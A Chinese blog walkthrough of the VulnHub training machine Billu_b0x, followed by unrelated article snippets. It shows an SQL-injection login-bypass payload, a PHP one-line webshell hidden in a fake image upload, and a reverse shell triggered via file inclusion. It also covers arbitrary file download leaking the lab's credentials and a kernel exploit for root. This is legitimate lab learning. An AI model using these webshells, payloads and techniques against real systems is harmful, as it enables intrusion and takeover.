当前位置: 首页 > news >正文

打靶记录11——Billu_b0x

靶机:

https://download.vulnhub.com/billu/Billu_b0x.zip

难度:

  • 中(两种攻击路线)

目标:

  • 取得root权限

涉及的攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • SQL注入(Sqlmap跑不出来)
  • 文件包含漏洞
  • 文件上传漏洞
  • 源码审计
  • 内核漏洞提权

注意:

选择包含所有网卡的MAC地址,就能正常获取IP地址了
image.png
但是我用VirtualBox还是获取不到IP,我直接用VMware了,kali和靶机都设置成NAT模式即可

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.174.135
image.png
nmap -p22,80 -sV -sC 192.168.174.135
image.png

SQL注入

打开浏览器,根据提示Show me your SQLI skills ,那么该页面应该是存在SQL注入这种漏洞类型的
image.png
随便输入提交之后抓包,发到BurpSuiteIntruder模块
image.png
Attack Type选择Cluster bomb集束炸弹
用户名那里使用/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txt这个kali里下载的SQL测试的字典
image.png
image.png
密码那里使用burp自带的列表
image.png
image.png
发现到这些个payload的时候就成功登录了,提示You are allowed
image.png
那我们直接用这个登录,账号密码使用or%200%3d0%20%23%22 / =%5c成功登录
image.png
image.png

文件上传漏洞

发现有上传功能,尝试上传一个有一句话木马的shell.php,但是提示only png,jpg and gif file are allowed只能上传图片
image.png
Burp抓包,修改文件名后缀,Content-Type,还有添加GIF89a;文件头之后,成功上传了一个包含了一句话Webshell:<?php system($_GET["cmd"]);?>的图片文件
image.png
Show Users里查看,发现多了一个用户,然后复制图片链接去访问,发现一个新路径
http://192.168.174.135/uploaded_images/shell.png
image.png
访问发现没啥用处
image.png
访问http://192.168.174.135/uploaded_images/也是
image.png
在URL后输入?cmd=id测试一下服务器是否解析了图片里面的代码,也是失败image.png
dirsearch -u http://192.168.174.135/扫描目录发现一个add.php
image.png
看起来和前面的Add Users那里是一样的,那么服务器可能是通过加载a.php的方式在主页面实现这个功能的
image.png
image.png

文件包含漏洞

点击Add Users,然后点击Continue,然后BurpSuite抓包看看
image.png
发现是通过load参数来调用系统文件的
image.png
测试load=/etc/passwd发现不能成功,那用目录穿越的方法,改成load=../../../../../../../etc/passwd就能成功读取到文件,说明确实是存在文件包含的
image.png
image.png
那用刚刚上传了一句话木马的图片试试,发现不行,那么服务器可能是不接受这种形式的方法
image.png

反弹shell

那么我们上传一个反弹shellphp的代码试试,也就是再上传一张伪造的图片,它的扩展名仍然是png,但是内容是反弹shellphp的代码。
使用kali里面自带的/usr/share/webshells/php/php-reverse-shell.ph这个php代码的反弹shell脚本
image.png
上传时还是需要添加上GIF89a;文件头,然后IP和监听端口设置成kali
image.png
image.png
然后让Kali开启nc的监听
image.png
然后再通过文件包含漏洞去访问刚刚上传的图片,触发反弹shell
image.png
成功反弹shell之后,按照惯例升级一下shell
python -c "import pty; pty.spawn('/bin/bash')"
image.png

提权

uname -a发现是3.13的内核版本,是有内核漏洞的利用代码的
image.png
searchsploit 3.13.0搜索,发现一个C语言的代码利用脚本,之前的打靶中有使用过的,就不过多的赘述了,参考:打靶记录1——靶机medium_socnet-CSDN博客
image.png
先把代码复制到当前目录,然后开启http服务
image.png
然后让靶机下载这个exp.c,用gcc把它编译成一个二进制文件,给它执行权限,然后执行就获得root权限了
image.png
image.png
这是一种思路。

思路二

前面信息收集的时候发现了一个test路径
image.png
访问之后发现明显的提示'file' parameter is empty. Please provide file path in 'file' parameter,但是我们输入参数并赋值之后却没有内容显示
image.png
那既然Get方式不成功,还有POST方式
image.png
POST方式就成功读取到了/etc/passwd文件
image.png

任意文件下载漏洞

file=add.php直接获得了源码,说明这不是一个文件包含漏洞,而是任意文件下载漏洞,只会显示代码,不会解析代码。
image.png
那我们查看一下首页index.php,前面SQL注入漏洞的原因可能在代码中会有
image.png

<?php// 开始会话,确保可以使用 $_SESSION 超全局变量session_start();// 包含数据库连接文件和 HTML 头部文件
include('c.php');
include('head.php');// 检查用户是否已登录,如果没有,设置会话变量 'logged' 为一个空字符串
if(@$_SESSION['logged'] != true) {$_SESSION['logged'] = '';
}// 如果用户已登录并且 'admin' 会话变量不为空
if($_SESSION['logged'] == true && $_SESSION['admin'] != '') {// 显示已登录的消息echo "you are logged in :)";// 重定向到 'panel.php'header('Location: panel.php', true, 302);
} else {// 如果用户没有登录,显示登录表单echo '<div align=center style="margin:30px 0px 0px 0px;"><font size=8 face="comic sans ms">--==[[ billu b0x ]]==--</font> <br><br>Show me your SQLI skills <br><form method=post>Username :- <input type=text name=un> &nbsp Password:- <input type=password name=ps> <br><br><input type=submit name=login value="let\'s login">';
}// 检查是否点击了登录按钮
if(isset($_POST['login'])) {// 将'\'替换为''$uname = str_replace('\'', '', urldecode($_POST['un']));$pass = str_replace('\'', '', urldecode($_POST['ps']));// 创建 SQL 查询来检查用户名和密码是否匹配$run = 'select * from auth where pass=\'' . $pass . '\' and uname=\'' . $uname . '\'';// 执行 SQL 查询$result = mysqli_query($conn, $run);// 如果查询结果有行,则用户凭据正确if (mysqli_num_rows($result) > 0) {$row = mysqli_fetch_assoc($result);echo "You are allowed<br>";// 设置会话变量以表示用户已登录$_SESSION['logged'] = true;$_SESSION['admin'] = $row['username'];// 重定向到 'panel.php'header('Location: panel.php', true, 302);} else {// 如果凭据不匹配,显示警告信息echo "<script>alert('Try again');</script>";}
}// 显示页脚
echo "<font size=5 face=\"comic sans ms\" style=\"left: 0;bottom: 0; position: absolute;margin: 0px 0px 5px;\">B0X Powered By <font color=#ff9933>Pirates</font> ";
?>

主要漏洞在这段代码 $run = 'select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'',服务端没有进行严格的筛选和限制

  • \右斜线是转义符,相当于代码里的内容就是一个'单引号
  • 我们注入的账号密码or 0=0 #"和 /实现了万能密码的效果
  • 最终的SQL语句是这样的$run = 'select * from auth where pass='' and uname=' or 0=0 #,0=0永远为真

搞懂了SQL注入漏洞存在的原因之后,继续进行信息收集
c.php里面发现了数据库的账号密码billu``b0x_billu
image.png
前面扫描目录的时候还发现了/phpmy/这个路径,可能是phpmyadmin这个Web界面的管理程序
image.png
发现确实是phpmyadmin,使用刚刚的账号密码billu``b0x_billu成功登录进去了
image.png
image.png
auth表里面发现正常的账号密码biLLu hEx_it,可以直接登录首页
image.png
继续进行目录探测(每当我们有新的目录和路径发现的时候,从渗透、实践的角度来讲,都建议对新发现的子路径、子目录再去进行进一步的爬取,每一个子目录里面都有可能存在更多、更有价值的信息)
dirsearch -u http://192.168.174.135/phpmy/
发现了配置文件的路径/phpmy/config.inc.php
image.png
在配置文件中发现了新的账号密码root``roottoor
image.png
前面信息收集,端口扫描的时候是发现它开启了22端口的,我们尝试用这个账号密码登录一下。
发现我们直接登录进来了,称为了root用户!
image.png

总结:

  • 打完写个Note,天天打不总结都是空。
  • 虽然今天这台靶机并不存在什么高难度的、新型的漏洞类型,但是如果我们能将这种传统的漏洞类型相互结合,综合发挥它们的威力和实力的话,最后发现它能达到的攻击的效果,仍然是非常巧妙,威胁程度也是非常高的。

相关文章:

打靶记录11——Billu_b0x

靶机&#xff1a; https://download.vulnhub.com/billu/Billu_b0x.zip难度&#xff1a; 中&#xff08;两种攻击路线&#xff09; 目标&#xff1a; 取得root权限 涉及的攻击方法&#xff1a; 主机发现端口扫描Web信息收集SQL注入&#xff08;Sqlmap跑不出来&#xff09;…...

一、在cubemx上配置sd和fatfs示例演示

一、sd和fatfs的配置流程界面 1、选择sd4bits 根据自己的sd卡的硬件插槽进行选择。 2、fatfs配置由于使用的是sd卡所以直接选择sd选项 3、程序中对sd卡的初始化需要进行改动&#xff0c;直接使用默认的参数sd卡是挂载不上的。 4、在sd卡挂载好后&#xff0c;就可以使用文件系统…...

C++ 语言特性02 - 命名空间

一&#xff1a;概述 现代C中的命名空间是什么&#xff1f; C中的命名空间允许用户在命名空间范围内对类、方法、变量和函数等实体进行分组&#xff0c;而不是在全局范围内使用。这可以防止大型项目中的类、方法、函数和变量之间发生命名冲突。命名空间将开发人员编写的代码组织…...

drools规则引擎 规则配置文件drl语法使用案例

前提&#xff1a;环境搭建&#xff0c;参考博文springboot整合drools规则引擎 示例入门-CSDN博客案例1&#xff0c;商城系统消费赠送积分 100元以下, 不加分 100元-500元 加100分 500元-1000元 加500分 1000元 以上 加1000分订单pojo编写 package cn.beijing.model;import lom…...

C++编程:高性能通信组件Capnproto与Protobuf的对比分析

文章目录 0. 概要1. 测试环境2. 测试方法3. 测试结果及分析3.1 延迟测试3.2 吞吐量测试3.3 稳定性测试3.4 一对二测试记录3.5 二对一测试记录3.6 Inter-process 单个点开销分析 4. CapnProto 与 Protobuf 的对比测试总结 0. 概要 本文主要探讨了两种高性能通信组件&#xff1a…...

【Python读书数据,并计算数据的相关系数、方差,均方根误差】

为了处理Python中的读书数据&#xff08;假设这里指的是一系列关于书籍阅读量或评分的数据&#xff09;&#xff0c;并计算这些数据的相关系数、方差以及均方根误差&#xff08;RMSE&#xff09;&#xff0c;我们首先需要明确数据的结构。这里&#xff0c;我将假设我们有一组关…...

垃圾收集器G1ZGC详解

G1收集器(-XX:UseG1GC) G1 (Garbage-First)是一款面向服务器的垃圾收集器,主要针对配备多颗处理器及大容量内存的机器. 以极高概率满足GC停顿时间要求的同时,还具备高吞吐量性能特征. G1将Java堆划分为多个大小相等的独立区域&#xff08;Region&#xff09;&#xff0c;JVM目…...

AI芯片:高性能卷积计算中的数据复用

随着深度学习的飞速发展&#xff0c;对处理器的性能要求也变得越来越高&#xff0c;随之涌现出了很多针对神经网络加速设计的AI芯片。卷积计算是神经网络中最重要的一类计算&#xff0c;本文分析了高性能卷积计算中的数据复用&#xff0c;这是AI芯片设计中需要优化的重点之一&a…...

gitlab修改默认访问端口

GitLab 自带了一个 Nginx 服务器实例&#xff0c;用于处理 HTTP 和 HTTPS 请求。这个内置的 Nginx 服务器被配置为与 GitLab 应用程序实例一起工作&#xff0c;并且它负责处理所有前端的网络通信。 通过yum或者apt安装Gitlab时&#xff0c;nginx通常是被自带安装并配置好的。 …...

python——异常

Python 中的异常及继承关系 在 Python 中&#xff0c;异常用于表示程序在运行过程中遇到的错误&#xff0c;所有异常类最终都继承自 BaseException。通过异常处理&#xff0c;我们可以捕获和处理这些错误&#xff0c;避免程序崩溃。 Python 异常继承关系图 BaseException-- …...

【人工智能】利用TensorFlow.js在浏览器中实现一个基本的情感分析系统

使用TensorFlow.js在浏览器中进行情感分析是一个非常实用的应用场景。TensorFlow.js 是一个用于在JavaScript环境中训练和部署机器学习模型的库&#xff0c;使得开发者能够在客户端直接运行复杂的机器学习任务。对于情感分析&#xff0c;我们可以使用预先训练好的模型来识别文本…...

Python——扩展数据类型

Python 的扩展数据类型是对内置数据类型的增强&#xff0c;旨在解决特定需求&#xff0c;提供更高级的功能。我们来看一些常见的扩展数据类型及其原理、用途&#xff0c;并通过示例逐步讲解。 1. collections.namedtuple namedtuple 是增强的元组&#xff0c;允许用名称访问元…...

JavaScript 详解——Vue基础

第一章 JavaScript简介 为什么学习javascript &#xff1f; JavaScript 是全球最流行的编程语言。 JavaScript 是属于 Web 的编程语言。 JavaScript 是 web 开发者必学的三种语言之一&#xff1a; HTML 定义网页的内容 CSS 规定网页的布局 JavaScript 对网页行为进行编程 …...

机械行业数字化生产供应链产品解决方案(十二)

我们为机械行业提供的数字化生产供应链解决方案通过集成物联网、人工智能和大数据技术&#xff0c;打造了一套智能化的生产和供应链管理系统&#xff0c;实现了从设计、生产到物流的全程数字化、智能化。该系统通过实时数据采集与分析&#xff0c;优化生产计划和资源配置&#…...

Git——命令集合

Git命令集合 1. 基本操作 1.1 创建版本库 初始化本地仓库&#xff1a;git init添加文件到仓库&#xff1a;git add | git add file file2… | git add.提交文件到本地仓库&#xff1a;git commit -m “message” 1.2 版本回退 查看状态&#xff1a; git status查看全部修改…...

python 数据可视化折线图练习(下:代码演示)

根据上篇对三国疫情情况数据的罗列&#xff0c;构建折线图完成数据展示。&#xff08;示例如下&#xff09; 接下来是具体代码演示 import json from pyecharts.charts import Line from pyecharts.options import TitleOpts , LegendOpts , ToolboxOpts ,VisualMapOpts , T…...

深入探索 Go 1.18 的 debug/buildinfo:构建信息的获取与应用

标题&#xff1a;深入探索 Go 1.18 的 debug/buildinfo&#xff1a;构建信息的获取与应用 引言 Go 语言自 1.18 版本起&#xff0c;引入了对构建信息的标准化处理&#xff0c;这一特性极大地简化了获取程序构建信息的过程。debug/buildinfo 包提供了访问 Go 二进制文件中嵌入…...

Nios II的BSP Editor

1.菜单打开BSP Editor &#xff08;1&#xff09; &#xff08;2&#xff09; &#xff08;3&#xff09; 项目文件夹 -> software文件夹 -> ... _bsp文件夹 -> settings.bsp文件 2.文件打开BSP Editor 选中项目文件&#xff0c;右键&#xff0c;Nios II -> …...

Android-自适用高度的ViewPager

需求 在项目中&#xff0c;我们常常遇到需要动态调整 ViewPager 的高度&#xff0c;以适应其内容大小的需求。默认情况下&#xff0c;ViewPager 的高度是固定的&#xff0c;无法根据每个页面的内容高度进行调整。这会导致在内容高度不一致时&#xff0c;出现不必要的空白区域或…...

代码随想录day38|| 322零钱兑换 279完全平方数 139单词拆分

322零钱兑换 力扣题目链接 题目描述&#xff1a; 给你一个整数数组 coins &#xff0c;表示不同面额的硬币&#xff1b;以及一个整数 amount &#xff0c;表示总金额。 计算并返回可以凑成总金额所需的 最少的硬币个数 。如果没有任何一种硬币组合能组成总金额&#xff0c…...

FastAPI 教程:从入门到实践

FastAPI 是一个现代、快速&#xff08;高性能&#xff09;的 Web 框架&#xff0c;用于构建 API&#xff0c;支持 Python 3.6。它基于标准 Python 类型提示&#xff0c;易于学习且功能强大。以下是一个完整的 FastAPI 入门教程&#xff0c;涵盖从环境搭建到创建并运行一个简单的…...

鸿蒙中用HarmonyOS SDK应用服务 HarmonyOS5开发一个医院挂号小程序

一、开发准备 ​​环境搭建​​&#xff1a; 安装DevEco Studio 3.0或更高版本配置HarmonyOS SDK申请开发者账号 ​​项目创建​​&#xff1a; File > New > Create Project > Application (选择"Empty Ability") 二、核心功能实现 1. 医院科室展示 /…...

ETLCloud可能遇到的问题有哪些?常见坑位解析

数据集成平台ETLCloud&#xff0c;主要用于支持数据的抽取&#xff08;Extract&#xff09;、转换&#xff08;Transform&#xff09;和加载&#xff08;Load&#xff09;过程。提供了一个简洁直观的界面&#xff0c;以便用户可以在不同的数据源之间轻松地进行数据迁移和转换。…...

10-Oracle 23 ai Vector Search 概述和参数

一、Oracle AI Vector Search 概述 企业和个人都在尝试各种AI&#xff0c;使用客户端或是内部自己搭建集成大模型的终端&#xff0c;加速与大型语言模型&#xff08;LLM&#xff09;的结合&#xff0c;同时使用检索增强生成&#xff08;Retrieval Augmented Generation &#…...

【C++进阶篇】智能指针

C内存管理终极指南&#xff1a;智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

代码规范和架构【立芯理论一】(2025.06.08)

1、代码规范的目标 代码简洁精炼、美观&#xff0c;可持续性好高效率高复用&#xff0c;可移植性好高内聚&#xff0c;低耦合没有冗余规范性&#xff0c;代码有规可循&#xff0c;可以看出自己当时的思考过程特殊排版&#xff0c;特殊语法&#xff0c;特殊指令&#xff0c;必须…...

R 语言科研绘图第 55 期 --- 网络图-聚类

在发表科研论文的过程中&#xff0c;科研绘图是必不可少的&#xff0c;一张好看的图形会是文章很大的加分项。 为了便于使用&#xff0c;本系列文章介绍的所有绘图都已收录到了 sciRplot 项目中&#xff0c;获取方式&#xff1a; R 语言科研绘图模板 --- sciRplothttps://mp.…...

wpf在image控件上快速显示内存图像

wpf在image控件上快速显示内存图像https://www.cnblogs.com/haodafeng/p/10431387.html 如果你在寻找能够快速在image控件刷新大图像&#xff08;比如分辨率3000*3000的图像&#xff09;的办法&#xff0c;尤其是想把内存中的裸数据&#xff08;只有图像的数据&#xff0c;不包…...

用递归算法解锁「子集」问题 —— LeetCode 78题解析

文章目录 一、题目介绍二、递归思路详解&#xff1a;从决策树开始理解三、解法一&#xff1a;二叉决策树 DFS四、解法二&#xff1a;组合式回溯写法&#xff08;推荐&#xff09;五、解法对比 递归算法是编程中一种非常强大且常见的思想&#xff0c;它能够优雅地解决很多复杂的…...

EasyRTC音视频实时通话功能在WebRTC与智能硬件整合中的应用与优势

一、WebRTC与智能硬件整合趋势​ 随着物联网和实时通信需求的爆发式增长&#xff0c;WebRTC作为开源实时通信技术&#xff0c;为浏览器与移动应用提供免插件的音视频通信能力&#xff0c;在智能硬件领域的融合应用已成必然趋势。智能硬件不再局限于单一功能&#xff0c;对实时…...